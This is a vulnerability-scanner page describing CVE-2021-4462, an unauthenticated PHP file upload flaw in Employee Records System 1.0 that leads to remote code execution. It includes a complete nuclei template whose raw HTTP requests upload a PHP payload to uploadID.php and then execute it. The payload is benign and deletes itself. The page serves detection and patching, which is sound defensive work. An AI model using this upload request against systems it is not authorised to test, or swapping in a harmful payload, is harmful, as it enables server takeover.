Employee Records System 1.0 - Unauthenticated File Upload RCE

criticalseverity

9.8CVSS score

3.4%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

Employee Records System version 1.0 contains an unrestricted file upload vulnerability in uploadID.php that allows remote unauthenticated attackers to upload arbitrary PHP files and achieve remote code execution.

Impact

Unauthenticated attackers can upload arbitrary PHP files via uploadID.php and achieve remote code execution, leading to complete server compromise.

Fix

Apply security patches or upgrade to a later version of Employee Records System.

How to confirm it

Send: POST /dashboard/uploadID.php ; GET /uploads/employees_ids/{{upload_filename}}
Positive when: status_code_2 == 200 and contains(body_2, "{{md5(string)}}")

Run it with nuclei: nuclei -id CVE-2021-4462 -u <target>

The full check

id: CVE-2021-4462

info:
  name: Employee Records System 1.0 - Unauthenticated File Upload RCE
  author: josephttd
  severity: critical
  description: |
    Employee Records System version 1.0 contains an unrestricted file upload vulnerability in uploadID.php that allows remote unauthenticated attackers to upload arbitrary PHP files and achieve remote code execution.
  impact: |
    Unauthenticated attackers can upload arbitrary PHP files via uploadID.php and achieve remote code execution, leading to complete server compromise.
  remediation: |
    Apply security patches or upgrade to a later version of Employee Records System.
  reference:
    - https://www.exploit-db.com/exploits/49596
    - https://www.sourcecodester.com/php/11393/employee-records-system.html
  classification:
    cvss-score: 9.8
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cwe-id: CWE-434
    epss-score: 0.03417
    epss-percentile: 0.88998
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2021,employee-records,fileupload,rce,intrusive,vkev,vuln

variables:
  string: "CVE-2021-4462"
  filename: "{{to_lower(rand_base(5))}}.php"

http:
  - raw:
      - |
        POST /dashboard/uploadID.php HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="employee_ID"; filename="{{filename}}"
        Content-Type: image/png

        <?php echo md5("{{string}}");unlink(__FILE__); ?>
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

      - |
        GET /uploads/employees_ids/{{upload_filename}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: upload_filename
        part: body
        internal: true
        group: 1
        regex:
          - '"upload_filename":"([^"]+)"'

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "{{md5(string)}}")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from